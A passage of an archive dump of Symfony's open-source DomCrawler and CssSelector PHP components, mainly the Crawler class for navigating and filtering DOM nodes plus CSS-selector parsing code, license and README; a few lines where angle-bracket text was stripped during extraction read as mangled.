initialize() { if ('textarea' !== $this->node->nodeName) { throw new \LogicException(sprintf('A TextareaFormField can only be created from a textarea tag (%s given).', $this->node->nodeName)); } $this->value = ''; foreach ($this->node->childNodes as $node) { $this->value .= $node->wholeText; } } } dom-crawler/Crawler.php000064400000113614151113511450011073 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler; use Masterminds\HTML5; use Symfony\Component\CssSelector\CssSelectorConverter; /** * Crawler eases navigation of a list of \DOMNode objects. * * @author Fabien Potencier * * @implements \IteratorAggregate */ class Crawler implements \Countable, \IteratorAggregate { /** * @var string|null */ protected $uri; /** * The default namespace prefix to be used with XPath and CSS expressions. */ private string $defaultNamespacePrefix = 'default'; /** * A map of manually registered namespaces. * * @var array */ private array $namespaces = []; /** * A map of cached namespaces. */ private \ArrayObject $cachedNamespaces; private ?string $baseHref; private ?\DOMDocument $document = null; /** * @var list<\DOMNode> */ private array $nodes = []; /** * Whether the Crawler contains HTML or XML content (used when converting CSS to XPath). */ private bool $isHtml = true; private ?HTML5 $html5Parser = null; /** * @param \DOMNodeList|\DOMNode|\DOMNode[]|string|null $node A Node to use as the base for the crawling */ public function __construct(\DOMNodeList|\DOMNode|array|string $node = null, string $uri = null, string $baseHref = null, bool $useHtml5Parser = true) { $this->uri = $uri; $this->baseHref = $baseHref ?: $uri; $this->html5Parser = $useHtml5Parser ? new HTML5(['disable_html_ns' => true]) : null; $this->cachedNamespaces = new \ArrayObject(); $this->add($node); } /** * Returns the current URI. */ public function getUri(): ?string { return $this->uri; } /** * Returns base href. */ public function getBaseHref(): ?string { return $this->baseHref; } /** * Removes all the nodes. * * @return void */ public function clear() { $this->nodes = []; $this->document = null; $this->cachedNamespaces = new \ArrayObject(); } /** * Adds a node to the current list of nodes. * * This method uses the appropriate specialized add*() method based * on the type of the argument. * * @param \DOMNodeList|\DOMNode|\DOMNode[]|string|null $node A node * * @return void * * @throws \InvalidArgumentException when node is not the expected type */ public function add(\DOMNodeList|\DOMNode|array|string|null $node) { if ($node instanceof \DOMNodeList) { $this->addNodeList($node); } elseif ($node instanceof \DOMNode) { $this->addNode($node); } elseif (\is_array($node)) { $this->addNodes($node); } elseif (\is_string($node)) { $this->addContent($node); } elseif (null !== $node) { throw new \InvalidArgumentException(sprintf('Expecting a DOMNodeList or DOMNode instance, an array, a string, or null, but got "%s".', get_debug_type($node))); } } /** * Adds HTML/XML content. * * If the charset is not set via the content type, it is assumed to be UTF-8, * or ISO-8859-1 as a fallback, which is the default charset defined by the * HTTP 1.1 specification. * * @return void */ public function addContent(string $content, string $type = null) { if (empty($type)) { $type = str_starts_with($content, 'convertToHtmlEntities('charset=', $m[2])) { $charset = $m[2]; } return $m[1].$charset; }, $content, 1); if ('x' === $xmlMatches[1]) { $this->addXmlContent($content, $charset); } else { $this->addHtmlContent($content, $charset); } } /** * Adds an HTML content to the list of nodes. * * The libxml errors are disabled when the content is parsed. * * If you want to get parsing errors, be sure to enable * internal errors via libxml_use_internal_errors(true) * and then, get the errors via libxml_get_errors(). Be * sure to clear errors with libxml_clear_errors() afterward. * * @return void */ public function addHtmlContent(string $content, string $charset = 'UTF-8') { $dom = $this->parseHtmlString($content, $charset); $this->addDocument($dom); $base = $this->filterRelativeXPath('descendant-or-self::base')->extract(['href']); $baseHref = current($base); if (\count($base) && !empty($baseHref)) { if ($this->baseHref) { $linkNode = $dom->createElement('a'); $linkNode->setAttribute('href', $baseHref); $link = new Link($linkNode, $this->baseHref); $this->baseHref = $link->getUri(); } else { $this->baseHref = $baseHref; } } } /** * Adds an XML content to the list of nodes. * * The libxml errors are disabled when the content is parsed. * * If you want to get parsing errors, be sure to enable * internal errors via libxml_use_internal_errors(true) * and then, get the errors via libxml_get_errors(). Be * sure to clear errors with libxml_clear_errors() afterward. * * @param int $options Bitwise OR of the libxml option constants * LIBXML_PARSEHUGE is dangerous, see * http://symfony.com/blog/security-release-symfony-2-0-17-released * * @return void */ public function addXmlContent(string $content, string $charset = 'UTF-8', int $options = \LIBXML_NONET) { // remove the default namespace if it's the only namespace to make XPath expressions simpler if (!str_contains($content, 'xmlns:')) { $content = str_replace('xmlns', 'ns', $content); } $internalErrors = libxml_use_internal_errors(true); $dom = new \DOMDocument('1.0', $charset); $dom->validateOnParse = true; if ('' !== trim($content)) { @$dom->loadXML($content, $options); } libxml_use_internal_errors($internalErrors); $this->addDocument($dom); $this->isHtml = false; } /** * Adds a \DOMDocument to the list of nodes. * * @param \DOMDocument $dom A \DOMDocument instance * * @return void */ public function addDocument(\DOMDocument $dom) { if ($dom->documentElement) { $this->addNode($dom->documentElement); } } /** * Adds a \DOMNodeList to the list of nodes. * * @param \DOMNodeList $nodes A \DOMNodeList instance * * @return void */ public function addNodeList(\DOMNodeList $nodes) { foreach ($nodes as $node) { if ($node instanceof \DOMNode) { $this->addNode($node); } } } /** * Adds an array of \DOMNode instances to the list of nodes. * * @param \DOMNode[] $nodes An array of \DOMNode instances * * @return void */ public function addNodes(array $nodes) { foreach ($nodes as $node) { $this->add($node); } } /** * Adds a \DOMNode instance to the list of nodes. * * @param \DOMNode $node A \DOMNode instance * * @return void */ public function addNode(\DOMNode $node) { if ($node instanceof \DOMDocument) { $node = $node->documentElement; } if (null !== $this->document && $this->document !== $node->ownerDocument) { throw new \InvalidArgumentException('Attaching DOM nodes from multiple documents in the same crawler is forbidden.'); } $this->document ??= $node->ownerDocument; // Don't add duplicate nodes in the Crawler if (\in_array($node, $this->nodes, true)) { return; } $this->nodes[] = $node; } /** * Returns a node given its position in the node list. */ public function eq(int $position): static { if (isset($this->nodes[$position])) { return $this->createSubCrawler($this->nodes[$position]); } return $this->createSubCrawler(null); } /** * Calls an anonymous function on each node of the list. * * The anonymous function receives the position and the node wrapped * in a Crawler instance as arguments. * * Example: * * $crawler->filter('h1')->each(function ($node, $i) { * return $node->text(); * }); * * @param \Closure $closure An anonymous function * * @return array An array of values returned by the anonymous function */ public function each(\Closure $closure): array { $data = []; foreach ($this->nodes as $i => $node) { $data[] = $closure($this->createSubCrawler($node), $i); } return $data; } /** * Slices the list of nodes by $offset and $length. */ public function slice(int $offset = 0, int $length = null): static { return $this->createSubCrawler(\array_slice($this->nodes, $offset, $length)); } /** * Reduces the list of nodes by calling an anonymous function. * * To remove a node from the list, the anonymous function must return false. * * @param \Closure $closure An anonymous function */ public function reduce(\Closure $closure): static { $nodes = []; foreach ($this->nodes as $i => $node) { if (false !== $closure($this->createSubCrawler($node), $i)) { $nodes[] = $node; } } return $this->createSubCrawler($nodes); } /** * Returns the first node of the current selection. */ public function first(): static { return $this->eq(0); } /** * Returns the last node of the current selection. */ public function last(): static { return $this->eq(\count($this->nodes) - 1); } /** * Returns the siblings nodes of the current selection. * * @throws \InvalidArgumentException When current node is empty */ public function siblings(): static { if (!$this->nodes) { throw new \InvalidArgumentException('The current node list is empty.'); } return $this->createSubCrawler($this->sibling($this->getNode(0)->parentNode->firstChild)); } public function matches(string $selector): bool { if (!$this->nodes) { return false; } $converter = $this->createCssSelectorConverter(); $xpath = $converter->toXPath($selector, 'self::'); return 0 !== $this->filterRelativeXPath($xpath)->count(); } /** * Return first parents (heading toward the document root) of the Element that matches the provided selector. * * @see https://developer.mozilla.org/en-US/docs/Web/API/Element/closest#Polyfill * * @throws \InvalidArgumentException When current node is empty */ public function closest(string $selector): ?self { if (!$this->nodes) { throw new \InvalidArgumentException('The current node list is empty.'); } $domNode = $this->getNode(0); while (\XML_ELEMENT_NODE === $domNode->nodeType) { $node = $this->createSubCrawler($domNode); if ($node->matches($selector)) { return $node; } $domNode = $node->getNode(0)->parentNode; } return null; } /** * Returns the next siblings nodes of the current selection. * * @throws \InvalidArgumentException When current node is empty */ public function nextAll(): static { if (!$this->nodes) { throw new \InvalidArgumentException('The current node list is empty.'); } return $this->createSubCrawler($this->sibling($this->getNode(0))); } /** * Returns the previous sibling nodes of the current selection. * * @throws \InvalidArgumentException */ public function previousAll(): static { if (!$this->nodes) { throw new \InvalidArgumentException('The current node list is empty.'); } return $this->createSubCrawler($this->sibling($this->getNode(0), 'previousSibling')); } /** * Returns the ancestors of the current selection. * * @throws \InvalidArgumentException When the current node is empty */ public function ancestors(): static { if (!$this->nodes) { throw new \InvalidArgumentException('The current node list is empty.'); } $node = $this->getNode(0); $nodes = []; while ($node = $node->parentNode) { if (\XML_ELEMENT_NODE === $node->nodeType) { $nodes[] = $node; } } return $this->createSubCrawler($nodes); } /** * Returns the children nodes of the current selection. * * @throws \InvalidArgumentException When current node is empty * @throws \RuntimeException If the CssSelector Component is not available and $selector is provided */ public function children(string $selector = null): static { if (!$this->nodes) { throw new \InvalidArgumentException('The current node list is empty.'); } if (null !== $selector) { $converter = $this->createCssSelectorConverter(); $xpath = $converter->toXPath($selector, 'child::'); return $this->filterRelativeXPath($xpath); } $node = $this->getNode(0)->firstChild; return $this->createSubCrawler($node ? $this->sibling($node) : []); } /** * Returns the attribute value of the first node of the list. * * @throws \InvalidArgumentException When current node is empty */ public function attr(string $attribute): ?string { if (!$this->nodes) { throw new \InvalidArgumentException('The current node list is empty.'); } $node = $this->getNode(0); return $node->hasAttribute($attribute) ? $node->getAttribute($attribute) : null; } /** * Returns the node name of the first node of the list. * * @throws \InvalidArgumentException When current node is empty */ public function nodeName(): string { if (!$this->nodes) { throw new \InvalidArgumentException('The current node list is empty.'); } return $this->getNode(0)->nodeName; } /** * Returns the text of the first node of the list. * * Pass true as the second argument to normalize whitespaces. * * @param string|null $default When not null: the value to return when the current node is empty * @param bool $normalizeWhitespace Whether whitespaces should be trimmed and normalized to single spaces * * @throws \InvalidArgumentException When current node is empty */ public function text(string $default = null, bool $normalizeWhitespace = true): string { if (!$this->nodes) { if (null !== $default) { return $default; } throw new \InvalidArgumentException('The current node list is empty.'); } $text = $this->getNode(0)->nodeValue; if ($normalizeWhitespace) { return $this->normalizeWhitespace($text); } return $text; } /** * Returns only the inner text that is the direct descendent of the current node, excluding any child nodes. * * @param bool $normalizeWhitespace Whether whitespaces should be trimmed and normalized to single spaces */ public function innerText(/* bool $normalizeWhitespace = true */): string { $normalizeWhitespace = 1 <= \func_num_args() ? func_get_arg(0) : true; foreach ($this->getNode(0)->childNodes as $childNode) { if (\XML_TEXT_NODE !== $childNode->nodeType && \XML_CDATA_SECTION_NODE !== $childNode->nodeType) { continue; } if (!$normalizeWhitespace) { return $childNode->nodeValue; } if ('' !== trim($childNode->nodeValue)) { return $this->normalizeWhitespace($childNode->nodeValue); } } return ''; } /** * Returns the first node of the list as HTML. * * @param string|null $default When not null: the value to return when the current node is empty * * @throws \InvalidArgumentException When current node is empty */ public function html(string $default = null): string { if (!$this->nodes) { if (null !== $default) { return $default; } throw new \InvalidArgumentException('The current node list is empty.'); } $node = $this->getNode(0); $owner = $node->ownerDocument; if ($this->html5Parser && '' === $owner->saveXML($owner->childNodes[0])) { $owner = $this->html5Parser; } $html = ''; foreach ($node->childNodes as $child) { $html .= $owner->saveHTML($child); } return $html; } public function outerHtml(): string { if (!\count($this)) { throw new \InvalidArgumentException('The current node list is empty.'); } $node = $this->getNode(0); $owner = $node->ownerDocument; if ($this->html5Parser && '' === $owner->saveXML($owner->childNodes[0])) { $owner = $this->html5Parser; } return $owner->saveHTML($node); } /** * Evaluates an XPath expression. * * Since an XPath expression might evaluate to either a simple type or a \DOMNodeList, * this method will return either an array of simple types or a new Crawler instance. */ public function evaluate(string $xpath): array|Crawler { if (null === $this->document) { throw new \LogicException('Cannot evaluate the expression on an uninitialized crawler.'); } $data = []; $domxpath = $this->createDOMXPath($this->document, $this->findNamespacePrefixes($xpath)); foreach ($this->nodes as $node) { $data[] = $domxpath->evaluate($xpath, $node); } if (isset($data[0]) && $data[0] instanceof \DOMNodeList) { return $this->createSubCrawler($data); } return $data; } /** * Extracts information from the list of nodes. * * You can extract attributes or/and the node value (_text). * * Example: * * $crawler->filter('h1 a')->extract(['_text', 'href']); */ public function extract(array $attributes): array { $count = \count($attributes); $data = []; foreach ($this->nodes as $node) { $elements = []; foreach ($attributes as $attribute) { if ('_text' === $attribute) { $elements[] = $node->nodeValue; } elseif ('_name' === $attribute) { $elements[] = $node->nodeName; } else { $elements[] = $node->getAttribute($attribute); } } $data[] = 1 === $count ? $elements[0] : $elements; } return $data; } /** * Filters the list of nodes with an XPath expression. * * The XPath expression is evaluated in the context of the crawler, which * is considered as a fake parent of the elements inside it. * This means that a child selector "div" or "./div" will match only * the div elements of the current crawler, not their children. */ public function filterXPath(string $xpath): static { $xpath = $this->relativize($xpath); // If we dropped all expressions in the XPath while preparing it, there would be no match if ('' === $xpath) { return $this->createSubCrawler(null); } return $this->filterRelativeXPath($xpath); } /** * Filters the list of nodes with a CSS selector. * * This method only works if you have installed the CssSelector Symfony Component. * * @throws \LogicException if the CssSelector Component is not available */ public function filter(string $selector): static { $converter = $this->createCssSelectorConverter(); // The CssSelector already prefixes the selector with descendant-or-self:: return $this->filterRelativeXPath($converter->toXPath($selector)); } /** * Selects links by name or alt value for clickable images. */ public function selectLink(string $value): static { return $this->filterRelativeXPath( sprintf('descendant-or-self::a[contains(concat(\' \', normalize-space(string(.)), \' \'), %1$s) or ./img[contains(concat(\' \', normalize-space(string(@alt)), \' \'), %1$s)]]', static::xpathLiteral(' '.$value.' ')) ); } /** * Selects images by alt value. */ public function selectImage(string $value): static { $xpath = sprintf('descendant-or-self::img[contains(normalize-space(string(@alt)), %s)]', static::xpathLiteral($value)); return $this->filterRelativeXPath($xpath); } /** * Selects a button by name or alt value for images. */ public function selectButton(string $value): static { return $this->filterRelativeXPath( sprintf('descendant-or-self::input[((contains(%1$s, "submit") or contains(%1$s, "button")) and contains(concat(\' \', normalize-space(string(@value)), \' \'), %2$s)) or (contains(%1$s, "image") and contains(concat(\' \', normalize-space(string(@alt)), \' \'), %2$s)) or @id=%3$s or @name=%3$s] | descendant-or-self::button[contains(concat(\' \', normalize-space(string(.)), \' \'), %2$s) or @id=%3$s or @name=%3$s]', 'translate(@type, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz")', static::xpathLiteral(' '.$value.' '), static::xpathLiteral($value)) ); } /** * Returns a Link object for the first node in the list. * * @throws \InvalidArgumentException If the current node list is empty or the selected node is not instance of DOMElement */ public function link(string $method = 'get'): Link { if (!$this->nodes) { throw new \InvalidArgumentException('The current node list is empty.'); } $node = $this->getNode(0); if (!$node instanceof \DOMElement) { throw new \InvalidArgumentException(sprintf('The selected node should be instance of DOMElement, got "%s".', get_debug_type($node))); } return new Link($node, $this->baseHref, $method); } /** * Returns an array of Link objects for the nodes in the list. * * @return Link[] * * @throws \InvalidArgumentException If the current node list contains non-DOMElement instances */ public function links(): array { $links = []; foreach ($this->nodes as $node) { if (!$node instanceof \DOMElement) { throw new \InvalidArgumentException(sprintf('The current node list should contain only DOMElement instances, "%s" found.', get_debug_type($node))); } $links[] = new Link($node, $this->baseHref, 'get'); } return $links; } /** * Returns an Image object for the first node in the list. * * @throws \InvalidArgumentException If the current node list is empty */ public function image(): Image { if (!\count($this)) { throw new \InvalidArgumentException('The current node list is empty.'); } $node = $this->getNode(0); if (!$node instanceof \DOMElement) { throw new \InvalidArgumentException(sprintf('The selected node should be instance of DOMElement, got "%s".', get_debug_type($node))); } return new Image($node, $this->baseHref); } /** * Returns an array of Image objects for the nodes in the list. * * @return Image[] */ public function images(): array { $images = []; foreach ($this as $node) { if (!$node instanceof \DOMElement) { throw new \InvalidArgumentException(sprintf('The current node list should contain only DOMElement instances, "%s" found.', get_debug_type($node))); } $images[] = new Image($node, $this->baseHref); } return $images; } /** * Returns a Form object for the first node in the list. * * @throws \InvalidArgumentException If the current node list is empty or the selected node is not instance of DOMElement */ public function form(array $values = null, string $method = null): Form { if (!$this->nodes) { throw new \InvalidArgumentException('The current node list is empty.'); } $node = $this->getNode(0); if (!$node instanceof \DOMElement) { throw new \InvalidArgumentException(sprintf('The selected node should be instance of DOMElement, got "%s".', get_debug_type($node))); } $form = new Form($node, $this->uri, $method, $this->baseHref); if (null !== $values) { $form->setValues($values); } return $form; } /** * Overloads a default namespace prefix to be used with XPath and CSS expressions. * * @return void */ public function setDefaultNamespacePrefix(string $prefix) { $this->defaultNamespacePrefix = $prefix; } /** * @return void */ public function registerNamespace(string $prefix, string $namespace) { $this->namespaces[$prefix] = $namespace; } /** * Converts string for XPath expressions. * * Escaped characters are: quotes (") and apostrophe ('). * * Examples: * * echo Crawler::xpathLiteral('foo " bar'); * //prints 'foo " bar' * * echo Crawler::xpathLiteral("foo ' bar"); * //prints "foo ' bar" * * echo Crawler::xpathLiteral('a\'b"c'); * //prints concat('a', "'", 'b"c') */ public static function xpathLiteral(string $s): string { if (!str_contains($s, "'")) { return sprintf("'%s'", $s); } if (!str_contains($s, '"')) { return sprintf('"%s"', $s); } $string = $s; $parts = []; while (true) { if (false !== $pos = strpos($string, "'")) { $parts[] = sprintf("'%s'", substr($string, 0, $pos)); $parts[] = "\"'\""; $string = substr($string, $pos + 1); } else { $parts[] = "'$string'"; break; } } return sprintf('concat(%s)', implode(', ', $parts)); } /** * Filters the list of nodes with an XPath expression. * * The XPath expression should already be processed to apply it in the context of each node. */ private function filterRelativeXPath(string $xpath): static { $crawler = $this->createSubCrawler(null); if (null === $this->document) { return $crawler; } $domxpath = $this->createDOMXPath($this->document, $this->findNamespacePrefixes($xpath)); foreach ($this->nodes as $node) { $crawler->add($domxpath->query($xpath, $node)); } return $crawler; } /** * Make the XPath relative to the current context. * * The returned XPath will match elements matching the XPath inside the current crawler * when running in the context of a node of the crawler. */ private function relativize(string $xpath): string { $expressions = []; // An expression which will never match to replace expressions which cannot match in the crawler // We cannot drop $nonMatchingExpression = 'a[name() = "b"]'; $xpathLen = \strlen($xpath); $openedBrackets = 0; $startPosition = strspn($xpath, " \t\n\r\0\x0B"); for ($i = $startPosition; $i <= $xpathLen; ++$i) { $i += strcspn($xpath, '"\'[]|', $i); if ($i < $xpathLen) { switch ($xpath[$i]) { case '"': case "'": if (false === $i = strpos($xpath, $xpath[$i], $i + 1)) { return $xpath; // The XPath expression is invalid } continue 2; case '[': ++$openedBrackets; continue 2; case ']': --$openedBrackets; continue 2; } } if ($openedBrackets) { continue; } if ($startPosition < $xpathLen && '(' === $xpath[$startPosition]) { // If the union is inside some braces, we need to preserve the opening braces and apply // the change only inside it. $j = 1 + strspn($xpath, "( \t\n\r\0\x0B", $startPosition + 1); $parenthesis = substr($xpath, $startPosition, $j); $startPosition += $j; } else { $parenthesis = ''; } $expression = rtrim(substr($xpath, $startPosition, $i - $startPosition)); if (str_starts_with($expression, 'self::*/')) { $expression = './'.substr($expression, 8); } // add prefix before absolute element selector if ('' === $expression) { $expression = $nonMatchingExpression; } elseif (str_starts_with($expression, '//')) { $expression = 'descendant-or-self::'.substr($expression, 2); } elseif (str_starts_with($expression, './/')) { $expression = 'descendant-or-self::'.substr($expression, 3); } elseif (str_starts_with($expression, './')) { $expression = 'self::'.substr($expression, 2); } elseif (str_starts_with($expression, 'child::')) { $expression = 'self::'.substr($expression, 7); } elseif ('/' === $expression[0] || '.' === $expression[0] || str_starts_with($expression, 'self::')) { $expression = $nonMatchingExpression; } elseif (str_starts_with($expression, 'descendant::')) { $expression = 'descendant-or-self::'.substr($expression, 12); } elseif (preg_match('/^(ancestor|ancestor-or-self|attribute|following|following-sibling|namespace|parent|preceding|preceding-sibling)::/', $expression)) { // the fake root has no parent, preceding or following nodes and also no attributes (even no namespace attributes) $expression = $nonMatchingExpression; } elseif (!str_starts_with($expression, 'descendant-or-self::')) { $expression = 'self::'.$expression; } $expressions[] = $parenthesis.$expression; if ($i === $xpathLen) { return implode(' | ', $expressions); } $i += strspn($xpath, " \t\n\r\0\x0B", $i + 1); $startPosition = $i + 1; } return $xpath; // The XPath expression is invalid } public function getNode(int $position): ?\DOMNode { return $this->nodes[$position] ?? null; } public function count(): int { return \count($this->nodes); } /** * @return \ArrayIterator */ public function getIterator(): \ArrayIterator { return new \ArrayIterator($this->nodes); } protected function sibling(\DOMNode $node, string $siblingDir = 'nextSibling'): array { $nodes = []; $currentNode = $this->getNode(0); do { if ($node !== $currentNode && \XML_ELEMENT_NODE === $node->nodeType) { $nodes[] = $node; } } while ($node = $node->$siblingDir); return $nodes; } private function parseHtml5(string $htmlContent, string $charset = 'UTF-8'): \DOMDocument { return $this->html5Parser->parse($this->convertToHtmlEntities($htmlContent, $charset)); } private function parseXhtml(string $htmlContent, string $charset = 'UTF-8'): \DOMDocument { $htmlContent = $this->convertToHtmlEntities($htmlContent, $charset); $internalErrors = libxml_use_internal_errors(true); $dom = new \DOMDocument('1.0', $charset); $dom->validateOnParse = true; if ('' !== trim($htmlContent)) { @$dom->loadHTML($htmlContent); } libxml_use_internal_errors($internalErrors); return $dom; } /** * Converts charset to HTML-entities to ensure valid parsing. */ private function convertToHtmlEntities(string $htmlContent, string $charset = 'UTF-8'): string { set_error_handler(function () { throw new \Exception(); }); try { return mb_encode_numericentity($htmlContent, [0x80, 0x10FFFF, 0, 0x1FFFFF], $charset); } catch (\Exception|\ValueError) { try { $htmlContent = iconv($charset, 'UTF-8', $htmlContent); $htmlContent = mb_encode_numericentity($htmlContent, [0x80, 0x10FFFF, 0, 0x1FFFFF], 'UTF-8'); } catch (\Exception|\ValueError) { } return $htmlContent; } finally { restore_error_handler(); } } /** * @throws \InvalidArgumentException */ private function createDOMXPath(\DOMDocument $document, array $prefixes = []): \DOMXPath { $domxpath = new \DOMXPath($document); foreach ($prefixes as $prefix) { $namespace = $this->discoverNamespace($domxpath, $prefix); if (null !== $namespace) { $domxpath->registerNamespace($prefix, $namespace); } } return $domxpath; } /** * @throws \InvalidArgumentException */ private function discoverNamespace(\DOMXPath $domxpath, string $prefix): ?string { if (\array_key_exists($prefix, $this->namespaces)) { return $this->namespaces[$prefix]; } if ($this->cachedNamespaces->offsetExists($prefix)) { return $this->cachedNamespaces[$prefix]; } // ask for one namespace, otherwise we'd get a collection with an item for each node $namespaces = $domxpath->query(sprintf('(//namespace::*[name()="%s"])[last()]', $this->defaultNamespacePrefix === $prefix ? '' : $prefix)); return $this->cachedNamespaces[$prefix] = ($node = $namespaces->item(0)) ? $node->nodeValue : null; } private function findNamespacePrefixes(string $xpath): array { if (preg_match_all('/(?P[a-z_][a-z_0-9\-\.]*+):[^"\/:]/i', $xpath, $matches)) { return array_unique($matches['prefix']); } return []; } /** * Creates a crawler for some subnodes. * * @param \DOMNodeList|\DOMNode|\DOMNode[]|string|null $nodes */ private function createSubCrawler(\DOMNodeList|\DOMNode|array|string|null $nodes): static { $crawler = new static($nodes, $this->uri, $this->baseHref); $crawler->isHtml = $this->isHtml; $crawler->document = $this->document; $crawler->namespaces = $this->namespaces; $crawler->cachedNamespaces = $this->cachedNamespaces; $crawler->html5Parser = $this->html5Parser; return $crawler; } /** * @throws \LogicException If the CssSelector Component is not available */ private function createCssSelectorConverter(): CssSelectorConverter { if (!class_exists(CssSelectorConverter::class)) { throw new \LogicException('To filter with a CSS selector, install the CssSelector component ("composer require symfony/css-selector"). Or use filterXpath instead.'); } return new CssSelectorConverter($this->isHtml); } /** * Parse string into DOMDocument object using HTML5 parser if the content is HTML5 and the library is available. * Use libxml parser otherwise. */ private function parseHtmlString(string $content, string $charset): \DOMDocument { if ($this->canParseHtml5String($content)) { return $this->parseHtml5($content, $charset); } return $this->parseXhtml($content, $charset); } private function canParseHtml5String(string $content): bool { if (!$this->html5Parser) { return false; } if (false === ($pos = stripos($content, ''))) { return false; } $header = substr($content, 0, $pos); return '' === $header || $this->isValidHtml5Heading($header); } private function isValidHtml5Heading(string $heading): bool { return 1 === preg_match('/^\x{FEFF}?\s*(\s*)*$/u', $heading); } private function normalizeWhitespace(string $string): string { return trim(preg_replace("/(?:[ \n\r\t\x0C]{2,}+|[\n\r\t\x0C])/", ' ', $string), " \n\r\t\x0C"); } } dom-crawler/Link.php000064400000001573151113511460010372 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DomCrawler; /** * Link represents an HTML link (an HTML a, area or link tag). * * @author Fabien Potencier */ class Link extends AbstractUriElement { protected function getRawUri(): string { return $this->node->getAttribute('href'); } /** * @return void */ protected function setNode(\DOMElement $node) { if ('a' !== $node->nodeName && 'area' !== $node->nodeName && 'link' !== $node->nodeName) { throw new \LogicException(sprintf('Unable to navigate from a "%s" tag.', $node->nodeName)); } $this->node = $node; } } css-selector/README.md000064400000001260151113511460010426 0ustar00CssSelector Component ===================== The CssSelector component converts CSS selectors to XPath expressions. Resources --------- * [Documentation](https://symfony.com/doc/current/components/css_selector.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) Credits ------- This component is a port of the Python cssselect library [v0.7.1](https://github.com/SimonSapin/cssselect/releases/tag/v0.7.1), which is distributed under the BSD license. css-selector/CssSelectorConverter.php000064400000004120151113511460013777 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector; use Symfony\Component\CssSelector\Parser\Shortcut\ClassParser; use Symfony\Component\CssSelector\Parser\Shortcut\ElementParser; use Symfony\Component\CssSelector\Parser\Shortcut\EmptyStringParser; use Symfony\Component\CssSelector\Parser\Shortcut\HashParser; use Symfony\Component\CssSelector\XPath\Extension\HtmlExtension; use Symfony\Component\CssSelector\XPath\Translator; /** * CssSelectorConverter is the main entry point of the component and can convert CSS * selectors to XPath expressions. * * @author Christophe Coevoet */ class CssSelectorConverter { private Translator $translator; private array $cache; private static array $xmlCache = []; private static array $htmlCache = []; /** * @param bool $html Whether HTML support should be enabled. Disable it for XML documents */ public function __construct(bool $html = true) { $this->translator = new Translator(); if ($html) { $this->translator->registerExtension(new HtmlExtension($this->translator)); $this->cache = &self::$htmlCache; } else { $this->cache = &self::$xmlCache; } $this->translator ->registerParserShortcut(new EmptyStringParser()) ->registerParserShortcut(new ElementParser()) ->registerParserShortcut(new ClassParser()) ->registerParserShortcut(new HashParser()) ; } /** * Translates a CSS expression to its XPath equivalent. * * Optionally, a prefix can be added to the resulting XPath * expression with the $prefix parameter. */ public function toXPath(string $cssExpr, string $prefix = 'descendant-or-self::'): string { return $this->cache[$prefix][$cssExpr] ??= $this->translator->cssToXPath($cssExpr, $prefix); } } css-selector/LICENSE000064400000002054151113511460010156 0ustar00Copyright (c) 2004-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. css-selector/Parser/ParserInterface.php000064400000001451151113511460014173 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser; use Symfony\Component\CssSelector\Node\SelectorNode; /** * CSS selector parser interface. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ interface ParserInterface { /** * Parses given selector source into an array of tokens. * * @return SelectorNode[] */ public function parse(string $source): array; } css-selector/Parser/Tokenizer/Tokenizer.php000064400000003770151113511460015050 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser\Tokenizer; use Symfony\Component\CssSelector\Parser\Handler; use Symfony\Component\CssSelector\Parser\Reader; use Symfony\Component\CssSelector\Parser\Token; use Symfony\Component\CssSelector\Parser\TokenStream; /** * CSS selector tokenizer. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * * @internal */ class Tokenizer { /** * @var Handler\HandlerInterface[] */ private array $handlers; public function __construct() { $patterns = new TokenizerPatterns(); $escaping = new TokenizerEscaping($patterns); $this->handlers = [ new Handler\WhitespaceHandler(), new Handler\IdentifierHandler($patterns, $escaping), new Handler\HashHandler($patterns, $escaping), new Handler\StringHandler($patterns, $escaping), new Handler\NumberHandler($patterns), new Handler\CommentHandler(), ]; } /** * Tokenize selector source code. */ public function tokenize(Reader $reader): TokenStream { $stream = new TokenStream(); while (!$reader->isEOF()) { foreach ($this->handlers as $handler) { if ($handler->handle($reader, $stream)) { continue 2; } } $stream->push(new Token(Token::TYPE_DELIMITER, $reader->getSubstring(1), $reader->getPosition())); $reader->moveForward(1); } return $stream ->push(new Token(Token::TYPE_FILE_END, null, $reader->getPosition())) ->freeze(); } } css-selector/Parser/Tokenizer/TokenizerEscaping.php000064400000003402151113511460016512 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\CssSelector\Parser\Tokenizer; /** * CSS selector tokenizer escaping applier. * * This component is a port of the Python cssselect library, * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect. * * @author Jean-François Simon * 